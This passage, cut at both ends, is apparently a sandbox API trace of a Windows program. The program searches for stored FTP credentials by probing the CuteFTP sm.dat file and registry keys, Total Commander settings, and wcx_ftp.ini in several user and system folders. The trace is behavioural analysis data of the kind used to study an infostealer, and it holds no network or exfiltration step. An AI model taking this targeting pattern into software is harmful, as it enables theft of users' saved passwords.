(x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0056.086] lstrlenA (lpString="C:\\Program Files (x86)\\CuteFTP") returned 30 [0056.086] lstrlenA (lpString="\\sm.dat") returned 7 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2cbcf0 [0056.086] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\CuteFTP\\sm.dat") returned="C:\\Program Files (x86)\\CuteFTP\\sm.dat" [0056.087] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0056.087] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cbda0 [0056.087] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\CuteFTP\\sm.dat", lpDst=0x2cbda0, nSize=0x27 | out: lpDst="C:\\Program Files (x86)\\CuteFTP\\sm.dat") returned 0x26 [0056.087] CreateFileA (lpFileName="C:\\Program Files (x86)\\CuteFTP\\sm.dat" (normalized: "c:\\program files (x86)\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.087] LocalFree (hMem=0x2cbda0) returned 0x0 [0056.087] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.087] lstrlenA (lpString="C:\\Program Files (x86)\\CuteFTP") returned 30 [0056.087] lstrlenA (lpString="\\*.*") returned 4 [0056.087] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2cbcf0 [0056.087] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0056.087] lstrcatA (in: lpString1="C:\\Program Files (x86)\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\CuteFTP\\*.*") returned="C:\\Program Files (x86)\\CuteFTP\\*.*" [0056.087] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.087] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.087] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.087] LocalFree (hMem=0x2cc740) returned 0x0 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbbc | out: phkResult=0x21fbbc*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb8c | out: phkResult=0x21fb8c*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb5c | out: phkResult=0x21fb5c*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb4 | out: phkResult=0x21fbb4*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb84 | out: phkResult=0x21fb84*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb54 | out: phkResult=0x21fb54*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbac | out: phkResult=0x21fbac*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb7c | out: phkResult=0x21fb7c*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb4c | out: phkResult=0x21fb4c*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.087] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb9c | out: phkResult=0x21fb9c*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb6c | out: phkResult=0x21fb6c*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb3c | out: phkResult=0x21fb3c*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb94 | out: phkResult=0x21fb94*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb64 | out: phkResult=0x21fb64*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb34 | out: phkResult=0x21fb34*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb8c | out: phkResult=0x21fb8c*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb5c | out: phkResult=0x21fb5c*=0x0) returned 0x2 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb2c | out: phkResult=0x21fb2c*=0x0) returned 0x2 [0056.088] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.088] IStream:LockRegion (This=0x2c1a58, libOffset=0x178, cb=0x0, dwLockType=0x0) returned 0x0 [0056.088] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.088] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.088] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.088] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.088] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.088] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd0) returned 0x0 [0056.088] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbec) returned 0x0 [0056.088] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.088] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.088] GetWindowsDirectoryA (in: lpBuffer=0x2cc740, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0056.088] lstrlenA (lpString="C:\\Windows") returned 10 [0056.088] lstrlenA (lpString="C:\\Windows") returned 10 [0056.088] lstrlenA (lpString="\\") returned 1 [0056.088] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cbac0 [0056.088] lstrcpyA (in: lpString1=0x2cbac0, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0056.088] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0056.088] LocalFree (hMem=0x2cc740) returned 0x0 [0056.088] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb98 | out: phkResult=0x21fb98*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbac | out: phkResult=0x21fbac*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb7c | out: phkResult=0x21fb7c*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb4c | out: phkResult=0x21fb4c*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbac | out: phkResult=0x21fbac*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb7c | out: phkResult=0x21fb7c*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb4c | out: phkResult=0x21fb4c*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb98 | out: phkResult=0x21fb98*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb68 | out: phkResult=0x21fb68*=0x0) returned 0x2 [0056.089] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb38 | out: phkResult=0x21fb38*=0x0) returned 0x2 [0056.089] lstrlenA (lpString="C:\\Windows\\") returned 11 [0056.089] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0056.089] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x2cbd00 [0056.089] lstrcpyA (in: lpString1=0x2cbd00, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0056.089] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Windows\\wcx_ftp.ini") returned="C:\\Windows\\wcx_ftp.ini" [0056.089] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x18 [0056.089] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2ce9b8 [0056.090] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x2ce9b8, nSize=0x18 | out: lpDst="C:\\Windows\\wcx_ftp.ini") returned 0x17 [0056.090] CreateFileA (lpFileName="C:\\Windows\\wcx_ftp.ini" (normalized: "c:\\windows\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.090] LocalFree (hMem=0x2ce9b8) returned 0x0 [0056.090] LocalFree (hMem=0x2cbd00) returned 0x0 [0056.090] LocalFree (hMem=0x2cbac0) returned 0x0 [0056.090] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.090] SHGetFolderPathA (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS") returned 0x0 [0056.091] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS") returned 23 [0056.091] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS") returned 23 [0056.091] lstrlenA (lpString="\\") returned 1 [0056.091] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2cc8d0 [0056.091] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS") returned="C:\\Users\\aDU0VK IWA5kLS" [0056.091] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\") returned="C:\\Users\\aDU0VK IWA5kLS\\" [0056.091] LocalFree (hMem=0x2cc740) returned 0x0 [0056.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb94 | out: phkResult=0x21fb94*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb64 | out: phkResult=0x21fb64*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb34 | out: phkResult=0x21fb34*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba8 | out: phkResult=0x21fba8*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb78 | out: phkResult=0x21fb78*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb48 | out: phkResult=0x21fb48*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba8 | out: phkResult=0x21fba8*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb78 | out: phkResult=0x21fb78*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb48 | out: phkResult=0x21fb48*=0x0) returned 0x2 [0056.091] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb94 | out: phkResult=0x21fb94*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb64 | out: phkResult=0x21fb64*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb34 | out: phkResult=0x21fb34*=0x0) returned 0x2 [0056.092] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\") returned 24 [0056.092] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0056.092] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd00 [0056.092] lstrcpyA (in: lpString1=0x2cbd00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\") returned="C:\\Users\\aDU0VK IWA5kLS\\" [0056.092] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini" [0056.092] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.092] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc740 [0056.092] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini", lpDst=0x2cc740, nSize=0x25 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini") returned 0x24 [0056.092] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.092] LocalFree (hMem=0x2cc740) returned 0x0 [0056.092] LocalFree (hMem=0x2cbd00) returned 0x0 [0056.092] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.092] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.092] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.092] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.092] lstrlenA (lpString="\\GHISLER") returned 8 [0056.092] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2cc8d0 [0056.092] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.092] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" [0056.092] LocalFree (hMem=0x2cc740) returned 0x0 [0056.092] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned 47 [0056.092] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned 47 [0056.092] lstrlenA (lpString="\\") returned 1 [0056.092] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cbd00 [0056.092] lstrcpyA (in: lpString1=0x2cbd00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER" [0056.092] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" [0056.092] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.092] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.092] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb74 | out: phkResult=0x21fb74*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb44 | out: phkResult=0x21fb44*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.093] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned 48 [0056.093] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0056.093] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cc740 [0056.093] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\" [0056.093] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" [0056.093] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3d [0056.093] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x2cc808 [0056.093] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x2cc808, nSize=0x3d | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned 0x3c [0056.093] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.093] LocalFree (hMem=0x2cc808) returned 0x0 [0056.093] LocalFree (hMem=0x2cc740) returned 0x0 [0056.093] LocalFree (hMem=0x2cbd00) returned 0x0 [0056.093] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.093] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.093] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.093] lstrlenA (lpString="\\GHISLER") returned 8 [0056.093] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x2ce9b8 [0056.093] lstrcpyA (in: lpString1=0x2ce9b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.093] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0056.093] LocalFree (hMem=0x2cc740) returned 0x0 [0056.093] lstrlenA (lpString="C:\\ProgramData\\GHISLER") returned 22 [0056.093] lstrlenA (lpString="C:\\ProgramData\\GHISLER") returned 22 [0056.093] lstrlenA (lpString="\\") returned 1 [0056.093] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cea58 [0056.093] lstrcpyA (in: lpString1=0x2cea58, lpString2="C:\\ProgramData\\GHISLER" | out: lpString1="C:\\ProgramData\\GHISLER") returned="C:\\ProgramData\\GHISLER" [0056.093] lstrcatA (in: lpString1="C:\\ProgramData\\GHISLER", lpString2="\\" | out: lpString1="C:\\ProgramData\\GHISLER\\") returned="C:\\ProgramData\\GHISLER\\" [0056.093] LocalFree (hMem=0x2ce9b8) returned 0x0 [0056.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fb90 | out: phkResult=0x21fb90*=0x0) returned 0x2 [0056.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb60 | out: phkResult=0x21fb60*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb30 | out: phkResult=0x21fb30*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fba4 | out: phkResult=0x21fba4*=0x0) returned 0x2 [0056.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", 